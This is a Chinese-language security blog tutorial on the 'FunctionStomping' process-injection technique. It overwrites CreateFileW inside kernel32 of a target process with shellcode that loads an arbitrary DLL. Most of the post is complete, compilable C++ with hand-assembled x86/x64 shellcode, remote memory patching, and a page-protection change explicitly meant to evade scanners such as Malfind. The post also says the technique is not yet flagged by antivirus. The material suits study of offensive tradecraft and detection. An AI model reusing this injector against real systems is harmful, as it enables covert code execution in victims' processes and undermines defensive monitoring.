進程注入之FunctionStomping

語言: CN / TW / HK

點擊藍字

關注我們

聲明

本文作者:gality

本文字數:13538

閲讀時長:34

附件/鏈接 :點擊查看原文下載

本文首發於【secin安全社區】未經許可禁止轉載

原文鏈接:https://www.sec-in.com/article/1583

由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,狼組安全團隊以及文章作者不為此承擔任何責任。

狼組安全團隊有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經狼組安全團隊允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。

本篇文章為進程注入系列的第八篇文章,同樣是在process-inject項目的基礎上進行進一步的擴展延伸,進而掌握進程注入的各種方式,本系列預計至少會有10篇文章,涉及7種進程注入方式及一些發散擴展,原項目地址:https://github.com/suvllian/process-inject

所有項目代碼均已同步到 https://github.com/Gality369/Process-Injection ,歡迎師傅們提Issue~

FunctionStomping技術是這幾天國外大佬發佈的全新的shellcode注入技術(原項目地址:https://github.com/Idov31/FunctionStomping)

  • 最大優點在於他沒有覆寫一整個module或pe文件,且目標進程仍然可以使用目標模塊的任何其他函數

  • 缺點在於並不能適用於所有函數, 但是大多數函數都可以使用這種手法,具體分享請看下文。

一、

原理

FunctionStomping技術通過將某個函數“掏空”(例如 kernel32 中的 createFile ) ,並替換為shellcode,當目標進程調用該函數時就會觸發shellcode, 這種手法不需要開闢內存, 同時也不需要創建進程, 相對來説動靜比較小, 目前還未被殺軟標記(如果用的cs或msf的shellcode有可能被標記)

二、

分析

shellcode編寫

shellcode部分參考之前的教程, 由於之前的教程中,shellcode都是要返回到之前的指令地址,而這裏我們可以直接模擬createFile的異常返回即可,觀察下createFile的調用,直接將eax/rax用全1填充,模擬createFileW返回 INVALID_HANDLE_VALUE ,使得程序不會崩潰,這裏可以具體查看官方文檔:

RETURN VALUE

If the function succeeds, the return value is an open handle to the specified file, device, named pipe, or mail slot.

If the function fails, the return value is  INVALID_HANDLE_VALUE . To get extended error information, call GetLastError

.

注意,這裏的處理,如果不做最後這步處理的話,當目標程序調用CreateFile時確實會執行shellcode,但是程序會因為異常退出,而這裏加上一步返回值的處理,程序只會報錯,但是不會直接崩潰

#ifdef _WIN64
BYTE code[] = {
0x48, 0x83, 0xEC, 0x28, //sub rsp,28h
0x48, 0x89, 0x44, 0x24, 0x18, //mov qword ptr [rsp+18h],rax
0x48, 0x89, 0x4C, 0x24, 0x10, //mov qword ptr [rsp+10h],rcx
0x48, 0xB9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, //mov rcx,1111111111111111h
0x48, 0xB8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, //mov rax,2222222222222222h
0xFF, 0xD0, //call rax
0x48, 0x8B, 0x4C, 0x24, 0x10, //mov rcx,qword ptr [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18, //mov rax,qword ptr [rsp+18h]
0x48, 0x83, 0xC4, 0x28, //add rsp,28h
0x48, 0x83, 0xEC, 0x08, //sub rsp,8
0xC7, 0x04, 0x24, 0xff, 0xff, 0xff, 0xff, //mov dword ptr [rsp],ffffffffh
0xC7, 0x44, 0x24, 0x04, 0xff, 0xff, 0xff, 0xff, //mov dword ptr [rsp + 4], ffffffffh
0x58, //pop rax
0xC3 //ret
};
#else
BYTE code[] = {
0x60, //pushad
0x68, 0x11, 0x11, 0x11, 0x11, //push 11111111h
0xb8, 0x22, 0x22, 0x22, 0x22, //mov eax, 22222222h
0xff, 0xd0, //call eax
0x61, //popad
0x0d, 0xff, 0xff, 0xff, 0xff, //or eax, ffffffffh
0xc3 //ret
};
#endif // _WIN64

然後就是申請空間存放dll的地址和修補shellcode:

//patch the shellcode
//申請空間
LPVOID RemoteDllPath = VirtualAllocEx(TargetProcessHandle, NULL, strlen(DllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
//write
if (!WriteProcessMemory(TargetProcessHandle, RemoteDllPath, DllFullPath, strlen(DllFullPath) + 1, NULL)) {
VirtualFreeEx(TargetProcessHandle, RemoteDllPath, strlen(DllFullPath) + 1, MEM_DECOMMIT);
return false;
}
BYTE* loadLibraryAddress = GetFunctionBase(TargetProcessHandle, L"Kernel32.dll", "LoadLibraryA");
#ifdef _WIN64
* reinterpret_cast<PVOID*>(code + 0x10) = static_cast<void*>(RemoteDllPath);
//修補LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 0x1a) = static_cast<void*>(loadLibraryAddress);
//修補返回地址,為當前停止的地址的低32位
//*reinterpret_cast<unsigned int*>(code + 0x39) = ctx.Rip & 0xFFFFFFFF;
////修補返回地址,為當前停止的地址的高32位
//*reinterpret_cast<unsigned int*>(code + 0x41) = ctx.Rip >> 32;
#else
//根據地址,修補我們的代碼
//修補dll的地址,我們把dll地址複製到RemoteDllPath的位置
* reinterpret_cast<PVOID*>(code + 2) = static_cast<void*>(RemoteDllPath);
//修補LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 7) = static_cast<void*>(loadLibraryAddress);


#endif // _WIN64

這裏其實最完美的處理是直接將dll地址硬編碼在shellcode中而不用申請空間,這樣就可以實現整個過程中都不出現申請空間的操作,但這裏只是給一個demo,且實際應用中這裏大概率會直接給shellcode,所以就偷個懶直接用之前的代碼了。

獲取指定函數的地址

以上就是shellcode部分的處理,接着,還有個問題就是獲取函數地址,先上代碼:

// Based on: https://github.com/countercept/ModuleStomping/blob/master/injectionUtils/utils.cpp
BYTE* GetFunctionBase(HANDLE TargetProcessHandle, const wchar_t* moduleName, const char* functionName) {
BOOL res;
DWORD moduleListSize;
BYTE* functionBase = NULL;


//Getting the size to allocate
res = EnumProcessModules(TargetProcessHandle, NULL, 0, &moduleListSize);


if (!res) {
cerr << "[-] Failed to get buffer size for EnumProcessModules: " << GetLastError() << endl;
return functionBase;
}


// Getting the module list.
HMODULE* moduleList = (HMODULE*)malloc(moduleListSize);


if (moduleList == 0) {
return functionBase;
}
memset(moduleList, 0, moduleListSize);


res = EnumProcessModules(TargetProcessHandle, moduleList, moduleListSize, &moduleListSize);

if (!res) {
// Retry this one more time.
res = EnumProcessModules(TargetProcessHandle, moduleList, moduleListSize, &moduleListSize);


if (!res) {
cerr << "[-] Failed to EnumProcessModules: " << GetLastError() << endl;
free(moduleList);
return functionBase;
}
}


// Iterating the modules of the process.
for (HMODULE* modulePtr = &moduleList[0]; modulePtr < &moduleList[moduleListSize / sizeof(HMODULE)]; modulePtr++) {
HMODULE currentModule = *modulePtr;
wchar_t currentModuleName[MAX_PATH];
memset(currentModuleName, 0, MAX_PATH);


// Getting the module name.
if (GetModuleFileNameEx(TargetProcessHandle, currentModule, currentModuleName, MAX_PATH - sizeof(wchar_t)) == 0) {
cerr << "[-] Failed to get module name: " << GetLastError() << endl;
continue;
}


// Checking if it is the module we seek.
if (StrStrI(currentModuleName, moduleName) != NULL) {


functionBase = (BYTE*)GetProcAddress(currentModule, functionName);
break;
}
}


free(moduleList);
return functionBase;
}

由於是獲取別的進程的模塊,且有可能是非系統模塊,所以這裏要遍歷所有目標進程的所有模塊並找到指定模塊中的指定函數的地址,就比找自己的要麻煩一些,其原理如下:

EnumProcessModules

檢索指定進程中每個模塊的句柄

BOOL EnumProcessModules(
[in] HANDLE hProcess, //進程句柄
[out] HMODULE *lphModule, //一個用户接受模塊句柄的數組
[in] DWORD cb, //數組的大小
[out] LPDWORD lpcbNeeded //存儲所有模塊句柄數組中的句柄所需要的空間
);


Return Value
成功則返回非零值

這個函數在使用時,首先先將lphModule設置為空並將cb設置為0,僅傳入lpcbNeeded,可以獲取到所需空間的大小,然後根據該大小開闢空間並再次調用,就可以獲取到模塊句柄的數組了,由於有可能會失敗,所以設置了重試一次來減少誤報。

接着就是遍歷數組中的所有句柄,然後通過GetModuleFileNameEx這個API獲取模塊名稱

GetModuleFileNameEx

獲取到後跟我們指定的模塊比較,如果一樣則利用GetProcAddress獲取到函數的地址

//檢索包含指定模塊的文件的絕對路徑
DWORD GetModuleFileNameExA(
[in] HANDLE hProcess, //包含模塊的進程句柄
[in, optional] HMODULE hModule, //模塊的句柄
[out] LPSTR lpFilename, //一個用於接收模塊絕對地址的緩衝區指針
[in] DWORD nSize //lpFilename的大小
);

掏空函數

這裏其實就比較簡單了,唯一要説的點在於,原本加載的kernel32.dll是一個只讀權限,如果我們想修改的話,需要先修改該頁的權限為RW,才能往裏面寫入我們的shellcode,而修改頁權限用的是VirtualProtectEx這個API

VirtualProtectEx

BOOL VirtualProtectEx(
[in] HANDLE hProcess, //目標進程句柄
[in] LPVOID lpAddress, //指向要修改權限的頁的基地址的指針
[in] SIZE_T dwSize, //要修改的大小
[in] DWORD flNewProtect, //修改後的權限
[out] PDWORD lpflOldProtect //指向變量的指針,該變量在指定的頁面區域中接收前一頁的訪問保護權限
);

具體使用的代碼如下:

// Changing the protection to READWRITE to write the shellcode.
if (!VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, PAGE_EXECUTE_READWRITE, &oldPermissions)) {
cerr << "[-] Failed to change protection: " << GetLastError() << endl;
CloseHandle(TargetProcessHandle);
return -1;
}
cout << "[+] Changed protection to RW to write the shellcode." << endl;


SIZE_T written;


// Writing the shellcode to the remote process.
if (!WriteProcessMemory(TargetProcessHandle, functionBase, code, sizeof(code), &written)) {
cerr << "[-] Failed to overwrite function: " << GetLastError() << endl;
VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, oldPermissions, &oldPermissions);
CloseHandle(TargetProcessHandle);
return -1;
}


cout << "[+] Successfuly stomped the function!" << endl;


// Changing the protection to WCX to evade injection scanners like Malfind: https://www.cyberark.com/resources/threat-research-blog/masking-malicious-memory-artifacts-part-iii-bypassing-defensive-scanners.
if (!VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, PAGE_EXECUTE_WRITECOPY, &oldPermissions)) {
cerr << "[-] Failed to change protection: " << GetLastError() << endl;
CloseHandle(TargetProcessHandle);
return -1;
}


cout << "[+] Changed protection to WCX to run the shellcode!\n[+] Shellcode successfuly injected!" << endl;


CloseHandle(TargetProcessHandle);
return TRUE;

三、

最終代碼及效果

// FunctionStomping.cpp : 此文件包含 "main" 函數。程序執行將在此處開始並結束。
//


#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <Shlwapi.h>
using namespace std;


#pragma comment(lib, "Shlwapi.lib")


BYTE* GetFunctionBase(HANDLE TargetProcessHandle, const wchar_t* moduleName, const char* functionName);
BOOL InjectDll(ULONG32 ulTargetProcessID, CHAR* DllFullPath) {
#ifdef _WIN64
BYTE code[] = {
0x48, 0x83, 0xEC, 0x28, //sub rsp,28h
0x48, 0x89, 0x44, 0x24, 0x18, //mov qword ptr [rsp+18h],rax
0x48, 0x89, 0x4C, 0x24, 0x10, //mov qword ptr [rsp+10h],rcx
0x48, 0xB9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, //mov rcx,1111111111111111h
0x48, 0xB8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, //mov rax,2222222222222222h
0xFF, 0xD0, //call rax
0x48, 0x8B, 0x4C, 0x24, 0x10, //mov rcx,qword ptr [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18, //mov rax,qword ptr [rsp+18h]
0x48, 0x83, 0xC4, 0x28, //add rsp,28h
0x48, 0x83, 0xEC, 0x08, //sub rsp,8
0xC7, 0x04, 0x24, 0xff, 0xff, 0xff, 0xff, //mov dword ptr [rsp],ffffffffh
0xC7, 0x44, 0x24, 0x04, 0xff, 0xff, 0xff, 0xff, //mov dword ptr [rsp + 4], ffffffffh
0x58, //pop rax
0xC3 //ret
};
#else
BYTE code[] = {
0x60, //pushad
0x68, 0x11, 0x11, 0x11, 0x11, //push 11111111h
0xb8, 0x22, 0x22, 0x22, 0x22, //mov eax, 22222222h
0xff, 0xd0, //call eax
0x61, //popad
0x0d, 0xff, 0xff, 0xff, 0xff, //or eax, ffffffffh
0xc3 //ret
};
#endif // _WIN64
DWORD oldPermissions;


//Gets the process handle for the target process
HANDLE TargetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ulTargetProcessID);
if (OpenProcess == NULL)
{
cout << "[-] Could not find process" << endl;
}
cout << "[+] Got process handle!" << endl;


// Getting the remote module base.
BYTE* functionBase = GetFunctionBase(TargetProcessHandle, L"Kernel32.dll", "CreateFileW");


if (!functionBase) {
DWORD lastError = GetLastError();


if (lastError == 126) {
cerr << "[-] The function name is misspelled or the function is unstompable." << endl;
}
else {
cerr << "[-] Could not get function pointer: " << lastError << endl;
}
CloseHandle(TargetProcessHandle);
return -1;
}


cout << "[+] Got function base!" << endl;

// Verifying that the shellcode isn't too big.
SIZE_T sizeToWrite = sizeof(code);
BYTE* oldFunction;


if (!ReadProcessMemory(TargetProcessHandle, functionBase, &oldFunction, sizeToWrite, NULL)) {
cerr << "[-] Shellcode is too big!" << endl;
CloseHandle(TargetProcessHandle);
return -1;
}


//patch the shellcode
//申請空間
LPVOID RemoteDllPath = VirtualAllocEx(TargetProcessHandle, NULL, strlen(DllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
//write
if (!WriteProcessMemory(TargetProcessHandle, RemoteDllPath, DllFullPath, strlen(DllFullPath) + 1, NULL)) {
VirtualFreeEx(TargetProcessHandle, RemoteDllPath, strlen(DllFullPath) + 1, MEM_DECOMMIT);
return false;
}
BYTE* loadLibraryAddress = GetFunctionBase(TargetProcessHandle, L"Kernel32.dll", "LoadLibraryA");
#ifdef _WIN64
* reinterpret_cast<PVOID*>(code + 0x10) = static_cast<void*>(RemoteDllPath);
//修補LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 0x1a) = static_cast<void*>(loadLibraryAddress);
//修補返回地址,為當前停止的地址的低32位
//*reinterpret_cast<unsigned int*>(code + 0x39) = ctx.Rip & 0xFFFFFFFF;
////修補返回地址,為當前停止的地址的高32位
//*reinterpret_cast<unsigned int*>(code + 0x41) = ctx.Rip >> 32;
#else
//根據地址,修補我們的代碼
//修補dll的地址,我們把dll地址複製到RemoteDllPath的位置
* reinterpret_cast<PVOID*>(code + 2) = static_cast<void*>(RemoteDllPath);
//修補LoadLibrary的地址
*reinterpret_cast<PVOID*>(code + 7) = static_cast<void*>(loadLibraryAddress);


#endif // _WIN64


// Changing the protection to READWRITE to write the shellcode.
if (!VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, PAGE_EXECUTE_READWRITE, &oldPermissions)) {
cerr << "[-] Failed to change protection: " << GetLastError() << endl;
CloseHandle(TargetProcessHandle);
return -1;
}
cout << "[+] Changed protection to RW to write the shellcode." << endl;


SIZE_T written;


// Writing the shellcode to the remote process.
if (!WriteProcessMemory(TargetProcessHandle, functionBase, code, sizeof(code), &written)) {
cerr << "[-] Failed to overwrite function: " << GetLastError() << endl;
VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, oldPermissions, &oldPermissions);
CloseHandle(TargetProcessHandle);
return -1;
}


cout << "[+] Successfuly stomped the function!" << endl;


// Changing the protection to WCX to evade injection scanners like Malfind: https://www.cyberark.com/resources/threat-research-blog/masking-malicious-memory-artifacts-part-iii-bypassing-defensive-scanners.
if (!VirtualProtectEx(TargetProcessHandle, functionBase, sizeToWrite, PAGE_EXECUTE_WRITECOPY, &oldPermissions)) {
cerr << "[-] Failed to change protection: " << GetLastError() << endl;
CloseHandle(TargetProcessHandle);
return -1;
}


cout << "[+] Changed protection to WCX to run the shellcode!\n[+] Shellcode successfuly injected!" << endl;


CloseHandle(TargetProcessHandle);
return TRUE;
}


// Based on: https://github.com/countercept/ModuleStomping/blob/master/injectionUtils/utils.cpp
BYTE* GetFunctionBase(HANDLE TargetProcessHandle, const wchar_t* moduleName, const char* functionName) {
BOOL res;
DWORD moduleListSize;
BYTE* functionBase = NULL;


//Getting the size to allocate
res = EnumProcessModules(TargetProcessHandle, NULL, 0, &moduleListSize);


if (!res) {
cerr << "[-] Failed to get buffer size for EnumProcessModules: " << GetLastError() << endl;
return functionBase;
}


// Getting the module list.
HMODULE* moduleList = (HMODULE*)malloc(moduleListSize);


if (moduleList == 0) {
return functionBase;
}
memset(moduleList, 0, moduleListSize);


res = EnumProcessModules(TargetProcessHandle, moduleList, moduleListSize, &moduleListSize);

if (!res) {
// Retry this one more time.
res = EnumProcessModules(TargetProcessHandle, moduleList, moduleListSize, &moduleListSize);


if (!res) {
cerr << "[-] Failed to EnumProcessModules: " << GetLastError() << endl;
free(moduleList);
return functionBase;
}
}


// Iterating the modules of the process.
for (HMODULE* modulePtr = &moduleList[0]; modulePtr < &moduleList[moduleListSize / sizeof(HMODULE)]; modulePtr++) {
HMODULE currentModule = *modulePtr;
wchar_t currentModuleName[MAX_PATH];
memset(currentModuleName, 0, MAX_PATH);


// Getting the module name.
if (GetModuleFileNameEx(TargetProcessHandle, currentModule, currentModuleName, MAX_PATH - sizeof(wchar_t)) == 0) {
cerr << "[-] Failed to get module name: " << GetLastError() << endl;
continue;
}


// Checking if it is the module we seek.
if (StrStrI(currentModuleName, moduleName) != NULL) {


functionBase = (BYTE*)GetProcAddress(currentModule, functionName);
break;
}
}


free(moduleList);
return functionBase;
}


int main()
{
ULONG32 ulProcessID = 0;
cout << "Input the Process ID:" << endl;
cin >> ulProcessID;
CHAR DllFullPath[MAX_PATH] = { 0 };
#ifndef _WIN64
strcpy_s(DllFullPath, "D:\\project\\TestDll\\Release\\TestDll.dll");
#else // _WIN64
strcpy_s(DllFullPath, "D:\\project\\TestDll\\x64\\Release\\TestDll.dll");
#endif
//注入
if (!InjectDll(ulProcessID, DllFullPath)) {
printf("Failed to inject DLL");
return FALSE;
}
return 0;
}

經測試,修改後的shellcode,不會使目標程序崩潰

Gality

歷史推薦

進程注入之進程提權

進程注入之遠程線程注入

進程注入之遠程線程注入進階

進程注入之遠程線程注入進階

進程注入之創建進程掛起注入

進程注入之APC注入

進程注入之APC注入進階

掃描關注公眾號回覆加羣

和師傅們一起討論研究~

WgpSec狼組安全團隊

微信號:wgpsec

Twitter:@wgpsec